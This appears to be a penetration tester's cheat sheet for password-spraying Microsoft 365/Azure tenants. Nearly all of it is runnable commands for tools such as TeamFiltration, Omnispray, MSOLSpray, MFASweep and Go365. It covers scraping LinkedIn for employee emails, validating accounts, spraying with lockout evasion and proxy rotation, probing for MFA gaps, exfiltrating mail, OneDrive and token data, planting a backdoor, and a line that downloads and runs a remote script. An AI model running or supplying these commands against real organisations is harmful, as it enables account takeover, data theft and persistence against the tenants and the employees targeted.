Resources
Overview
Password Spraying tools and techniques for O365/Azure.
TenantID - Grab the TenantID using the company name
$comp = ""
# Using Invoke-WebRequest to call the OpenID Connect Discovery Endpoint
$oidcUrl = "https://login.microsoftonline.com/$comp/.well-known/openid-configuration"
$oidcResponse = Invoke-WebRequest -Uri $oidcUrl
# Convert JSON response to a PowerShell object
$oidcData = $oidcResponse.Content | ConvertFrom-Json
# Extract the tenant ID from the token_endpoint URL
if ($oidcData.token_endpoint -match "https://login\.microsoftonline\.com/(.+?)/oauth2/token") {
$tenantId = $matches[1]
Write-Output "Tenant ID: $tenantId"
} else {
Write-Output "Tenant ID not found in the token_endpoint URL."
}
Download
Omnispray
git clone https://github.com/0xZDH/Omnispray
cd Omnispray
chmod +x omnispray.py
pip install -r requirements.txt
cd ..
Teamfiltration
mkdir teamfiltration
cd teamfiltration
iwr https://github.com/Flangvik/TeamFiltration/releases/download/v3.5.3/TeamFiltration-v3.5.3-win-x86_64.zip -o teamfiltration.zip
Expand-Archive teamfiltration.zip
cd teamfiltration
.\teamfiltration.exe
# Create Config, use your AWS keys to spin up API gateways to proxy requests. Can use dehashed key here, and need a sacrifical O365 account for certain features
$user = "test@testcorp.onmicrosoft.com"
$username = "test"
$domain = "testcorp.onmicrosoft.com"
$tenant = ""
# Enum - No user list
.\TeamFiltration.exe --outpath cartp --config cartp.json --enum --validate-teams --domain $domain
# Enum - Other Endpoints
--dehashed Use the dehashed submodule in order to enumerate emails from a basedomain
--validate-msol Validate that the given o365 accounts exists using the public GetCredentialType method (Very RateLimited / Slow 20 e/s)
--validate-teams Validate that the given o365 accounts exists using the Teams API method (Recommended - Super Fast 300 e/s)
--validate-login Validate that the given o365 accounts by attemping to login (Noisy - triggers logins - Fast 100 e/s)
# Enumeration w/ custom list
.\TeamFiltration.exe --outpath cartp --config cartp.json --usernames emails.txt --enum --validate-teams --domain $domain
# Spray with generated list of months and seasons
.\TeamFiltration.exe --outpath cartp --config cartp.json --spray --sleep-min 120 --sleep-max 200
# Spray with custom list
.\TeamFiltration.exe --outpath cartp --config cartp.json --spray --passwords $passwords --sleep-min 120 --sleep-max 200
# Exfil AAD, all=graph,owa,sharepoint,onedrive,teams
.\TeamFiltration.exe --outpath cartp --config cartp.json --exfil --aad
.\TeamFiltration.exe --outpath cartp --config cartp.json --exfil --all
# Exfil auth tokens
.\TeamFiltration.exe --outpath cartp --config cartp.json --exfil --tokens
# Override creds to exfil
.\teamfiltration.exe --outpath cartp--exfil --all --username $user --password $password
# backdoor
.\teamfiltration.exe --outpath cartp --config cartp.json --backdoor
# Access Database
.\teamfiltration.exe --outpath cartp --config cartp.json --database
# Examples
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\2021\FooBar\Exclude_Emails.txt
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --passwords Passwords.txt --time-window 13:00-22:00
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --all
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --aad
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --debug --exfil --onedrive
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --enum --validate-teams
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --enum --validate-msol --usernames emails.txt
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --backdoor
--outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --database
MSOLSpray
git clone https://github.com/dafthack/MSOLSpray
cd .\MOSLSpray
Import-Module .\MSOLSpray.ps1
cd ..
MFASweep
git clone https://github.com/dafthack/MFASweep
cd MFASWeep
Import-Module .\MFASweep.ps1
cd ..
DonkeyToken
git clone https://github.com/mellonaut/donkeytoken
# They have zero fucking documentation, here are all the functions
FunctionsToExport = @(
'Connect-Azure','Connect-OfficePortal',
'Connect-MicrosoftTasks', 'Connect-MyAnalytics',
'Connect-OfficeCalendar', 'Connect-ToDo',
'Connect-WhiteBoard','Invoke-MFATest','Read-JWTtoken',
'ConvertTo-O365AccessToken','Get-TenantFromUser',
'Get-MSAuthToken','Write-Information','Write-Warning','Write-Debug','Write-Verbose',
'Write-Error', 'Get-TokenFromOfficePortal','Get-Cookies',
'Get-TokenFromSharepointOnline','Connect-ExchangeEWS',
'Get-PublicTenantInformation','Invoke-AuthorizeWithPKCE',
'Invoke-O365Spray','Get-YammerMessages','Get-DelegationTokenFromAzurePortal',
'Invoke-AuthorizeWithPKCEOrganizations','Get-TokenFromVivaInsights',
'Get-TokenFromToDo','Get-DriveDataFromYammer','Get-SharePointFilesFromGraph',
'Get-DriveDataFromYammer'
)
Credmaster
git clone https://github.com/knavesec/CredMaster.git
cd CredMaster
pip install -r requirements.txt
cd ..
FireProx
git clone https://github.com/ustayready/fireprox
cd fireprox
pip install -r requirements.txt
python fire.py
Enumeration Techniques
Find a single email with OSINT, validate Tenant is Managed
$domain = "corpomax.com"
$user = "jose"
Import-Module AADInternals
$tenant = Get-AADIntTenantID -domain $domain
Invoke-AADIntReconAsOutsider -domainName $domain
Get-AADIntLoginInformation -UserName $user@$domain
Finding Additional Users
Bridgekeeper - Scrape LinkedIn and Hunter.io for a user list
$domain = "corpomax.com"
$name = "Corpomax Holdings"
$hunterkey = "<HUNTER.IO API KEY>"
# omnispray for validation
git clone https://github.com/0xZDH/Omnispray
cd Omnispray
chmod +x ./omnispray.py
pip install -r requirements.txt
cd ..
# Bridgekeeper for LinkedIn / Web scraping
git clone https://github.com/0xZDH/BridgeKeeper
cd BridgeKeeper
chmod +x ./bridgekeeper.py
pip install -r requirements.txt
# Scrape LinkedIn
./bridgekeeper.py --company "$domain" --format {f}.{last}@$domain --depth 20 --output $domain-employees
# Scrape Hunter.io w/ an API key
./bridgekeeper.py --company "$name" --domain $domain --api $hunterkey--depth 20 --output $domain-hunter
# Convert Usernames file into emails
$domain = "domain.com"
$names = Get-Content -Path "./'$domain'_names_202403112321.txt"
$outputFilePath = "emails.txt"
$outputFile = [System.IO.StreamWriter]::new($outputFilePath)
foreach ($name in $names) {
# Split the first and last names
$parts = $name -split ' '
$firstName = $parts[0]
$lastName = $parts[1]
# Construct the email address
$email = "$($firstName.Substring(0,1))$lastName@$domain".ToLower()
# Output the email address
Write-Output $email >> newemails.txt
}
$scraped = "./newemails.txt"
cp $scraped ../Omnispray
cd ../Omnispray
# Validate against O365
python3 ./omnispray.py --type enum -uf $scraped --module o365_enum_office
# Transform existing list of users into whatever format you need
bridgekeeper.py --names names.txt --format {f}{last}@$domain --output discovered-employees.txt
Validate the list with different tools
$scraped = "..\discovered-employees.txt"
# omnispray enumerate using o365 office module
python3 omnispray.py --type enum -uf $scraped --module o365_enum_office
# omnispray enumerate using o365 active sync
python3 omnispray.py --type enum -uf $scraped --module o365_enum_activesync
# omnispray enumerate using o365 Onedrive
python3 omnispray.py --type enum -uf $scraped --module o365_enum_onedrive
# Teamfiltration using the teams endpoint
.\Teamfiltration.exe --enum --validate-teams --usernames $scraped --outpath .\teamfiltration\ --config .\custom.json
# Teamfiltration connect to DB to show emails, run 'show emails'
.\Teamfiltration.exe --database --outpath .\teamfiltration\ --config .\custom.json
# Teamfiltration using statistaclly likely usernames generated by tool
.\TeamFiltration.exe --outpath hailmary --config custom.json --enum --validate-teams --domain $domain
Spraying
Teamfiltration - Spraying Valid Users, Exfil AAD, connect to DB. Will attempt to determine 2FA
# Spray common passwords with default settings
.\Teamfiltration.exe --spray --passwords common.txt --outpath .\teamfiltration\ --config .\custom.json
# OPSec considerate version
.\Teamfiltration.exe --spray --passwords common.txt --outpath .\teamfiltration\ --config .\custom.json --sleep-min 120 --sleep-max 220 --shuffle-users --shuffle-regions
# Add exfiltration of AAD data
.\Teamfiltration.exe --spray --passwords common.txt --outpath .\teamfiltration\ --config .\custom.json --sleep-min 120 --sleep-max 220 --shuffle-users --shuffle-regions
# connect to DB to show creds
.\Teamfiltration.exe --database --outpath .\teamfiltration\ --config .\custom.json
show emails
show creds
Omnispray - Run 3 sprays against the ActiveSync endpoint before resetting the 40 minute lockout timer
# ActiveSync Endpoint
python3 omnispray.py --type spray -uf users.txt -pf passwords.txt --module o365_spray_activesync --count 3 --lockout 40
# ADFS Endpoint
python3 omnispray.py --type spray -uf users.txt -pf passwords.txt --module o365_spray_adfs --count 3 --lockout 40
# MSOL Endpoint
python3 omnispray.py --type spray -uf users.txt -pf passwords.txt --module o365_spray_msol --count 3 --lockout 40
# use it with FireProx
python3 omnispray.py --type spray -uf users.txt -pf passwords.txt --module o365_spray_activesync --count 3 --lockout 40 --proxy-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
Go365 - Spray Weird SOAP Endpoint
wsl wget https://github.com/optiv/Go365/releases/download/v2.0/Go365_2.0_Linux_x86_64.tar.gz
wsl tar -xvf Go365_2.0_Linux_x86_64.tar.gz
wsl ./Go365
# single password
echo "twilliams" > usernamesonly.txt
wsl export
wsl ./Go365 -endpoint rst -ul ./usernamesonly.txt -p 'coolpasswordbro!123' -d $domain -delay 3600 -w 20 -o Go365output.txt
# combolist
wsl ./Go365 -endpoint rst -up ./userpass_list.txt -d $domain -delay 3600 -w 20 -o Go365output.txt
# -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
# FireProx, create Gateway and store the Url in $url
python fire.py --command create --url https://login.microsoftonline.com/rst2.srf --region us-east-1
$url = ""
$password= ""
$domain = ""
wsl ./Go365 -endpoint rst -u; ./emails.txt -p $password -d $domain -delay 3600 -w 20 -o Go365output.txt --url $url
Testing Known Valid Creds for MFA
MSOLSpray - Validate Creds - Check if password is valid using quiet endpoint, does not trigger MFA push
iwr https://raw.githubusercontent.com/dafthack/MSOLSpray/master/MSOLSpray.ps1 -o MSOLSpray.ps1
Import-Module .\MSOLSpray.ps1
$pasword = Read-Host
Invoke-MSOLSpray -UserList .\userlist.txt -Password $password -OutFile valid.txt
MFASweep - Validate 2Fa - Further Test Validated Creds for Single-Factor Logon (make sure it’s valid, will lockout otherwise)
IEX (iwr 'https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1')
$domain = "$domain"
$newuser = "jamir.oquai"
$knowngood = "$password"
Invoke-MFASweep -Username $newuser@$domain -Password $knowngood
DonkeyToken - Test MFA
git clone https://github.com/silverhack/donkeytoken
cd donkeytoken
ipmo .\donkeytoken.psd1
# TenantID
$comp = ""
# Using Invoke-WebRequest to call the OpenID Connect Discovery Endpoint
$oidcUrl = "https://login.microsoftonline.com/$comp/.well-known/openid-configuration"
$oidcResponse = Invoke-WebRequest -Uri $oidcUrl
# Convert JSON response to a PowerShell object
$oidcData = $oidcResponse.Content | ConvertFrom-Json
# Extract the tenant ID from the token_endpoint URL
if ($oidcData.token_endpoint -match "https://login\.microsoftonline\.com/(.+?)/oauth2/token") {
$tenantId = $matches[1]
Write-Output "Tenant ID: $tenantId"
} else {
Write-Output "Tenant ID not found in the token_endpoint URL."
}
# Test MFA Bypass
$cred = Get-Credential
$Sleep = "1"
Invoke-MFATest -credential $cred -Sleep $sleep -TenantId $tenantId -Verbose -Debug -InformationAction Continue
# Investigate Service
Connect-ToDo -Credential $cred
Connect-OfficePortal -Credential $cred
Connect-Azure -Credential $cred